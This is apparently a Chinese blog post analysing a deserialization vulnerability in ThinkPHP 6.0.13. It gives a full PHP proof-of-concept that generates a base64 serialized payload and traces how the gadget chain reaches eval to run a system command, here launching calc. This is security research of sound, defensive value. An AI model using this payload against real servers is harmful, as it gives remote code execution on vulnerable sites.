Think PHP 6.0.13反序列化分析

Think PHP 6.0.13反序列化分析

原poc链接:https://github.com/top-think/framework/issues/2749

think PHP 6.0.13下载

composer create-project topthink/think tp

poc源码

<?php
namespace League\Flysystem\Cached\Storage{
    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp)
        {
            $this->pool = $exp;
        }
    }
}
namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;
        public function __construct($exp)
        {
            $this->logger = $exp; 
            $this->lazy = false;
        }
    }
}
namespace think{
    class Request{
        protected $url;
        public function __construct()
        {
            $this->url = '<?php system(\'calc\'); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct()
        {
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}
namespace think\view\driver{
    class Php{}
}
namespace think\log\driver{
    class Socket{
        protected $config = [];
        protected $app;
        protected $clientArg = [];
        public function __construct()
        {
            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
            ];
            $this->app = new \think\App();
            $this->clientArg = ['tabid'=>'1'];
        }
    }
}
namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo base64_encode(serialize($a));
}

分析

从POC开始分析

Think PHP 6.0.13反序列化分析

起始类是Psr6Cache类,但是在Psr6Cache类中没有发现__destruct()方法,在定义类的地方发现其继承了AbstractCache类。通过全局查找__destruct方法定位到src/Storage/AbstractCache.php

Think PHP 6.0.13反序列化分析
这里对autosave变量进行判断是否为false,$autosave是成员变量可以控制,后调用了save方法,跟进save方法

Think PHP 6.0.13反序列化分析

 调用了pool的getItem方法,这里AbstractCache->pool是可控的,找一下__call方法,根据POC找到Channel.php

Think PHP 6.0.13反序列化分析

 调用了log方法,再跟进record方法(记录日志信息)

Think PHP 6.0.13反序列化分析

 

Think PHP 6.0.13反序列化分析

 在record方法中的前三个判断都可以过,主要看第四个判断,因为这里是要利用$this->save方法

Think PHP 6.0.13反序列化分析

$lazy默认是true不可控,但是$this->lazy是成员变量可控,因此可以进入save方法。继续 跟进save方法。

在save方法判断了$this-event是否有值,这里默认是没有的,可以跳过,到$this->logger->save()

Think PHP 6.0.13反序列化分析

 这里调用了$this->logger记录器的save方法,然而这里的logger是成员变量,是可控的。根据POC可以发现这里利用了socket的save方法

Think PHP 6.0.13反序列化分析

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;
        public function __construct($exp)
        {//$exp=new socket()
            $this->logger = $exp; 
            $this->lazy = false;
        }
    }
}

 全局找一下save方法,继续跟进socket的save方法

Think PHP 6.0.13反序列化分析

这里首先对自身进行了检查,不通过就返回false,这里我们必须要check方法返回true,跟进check方法。check方法的主要功能是获取用户输入的taid参数、检查是否记录日志和用户认证。

Think PHP 6.0.13反序列化分析
这里看一下检查request实例对象的分支

Think PHP 6.0.13反序列化分析
 这里在POC中给了App中request的实例对象

Think PHP 6.0.13反序列化分析

再回到socket的save方法

Think PHP 6.0.13反序列化分析

判断debug是否开启,这里可控。这里有判断了$this->app的request实例对象是否存在,这里可以直接进入,然后获取request实例对象的url的值(这个值是重点)。然后判断this->config['format_head']是否存在,存在的话就调用$this->app的inoke方法,尝试调用反射执行this->config['format_head']的方法,参数是$currentUri。在这里我们只要找到可以执行危险操作的危险函数,并将其控制到this->config['format_head']里面就可以进行RCE了。而这个config是一个成员变量,是可控的,因此只要寻找危险方法就可以了。这里POC找的是Php类的display方法,里面存在eval函数。

Think PHP 6.0.13反序列化分析

POC通过控制config即可控制程序执行到Php类的display方法。

Think PHP 6.0.13反序列化分析
在POC中控制了App对象中request实例对象的url的值

(socket)$this->app->request->url='<?php system(\'calc\'); exit(); ?>']

在display方法中执行eval('?><?php system(\'calc\'); exit(); ?>'),成功调用系统计算器

Think PHP 6.0.13反序列化分析

Think PHP 6.0.13反序列化分析

此次反序列化漏洞主要需要控制的点,是在Socket类中的变量控制,和Php中的display方法的利用。还要一点就是在构造POC时Psr6Cache类的pool变量必须要写在前面,否则生成的payload是无效的。。。自己在仿造POC时调试了很久。

Think PHP 6.0.13反序列化分析

 此次分析就到这吧,感谢秋秋晚的指点

参考:TP6.0.13反序列化简单分析 – 秋秋晚

                       

点击阅读全文

上一篇 2023年 5月 25日 am10:22
下一篇 2023年 5月 25日 am10:29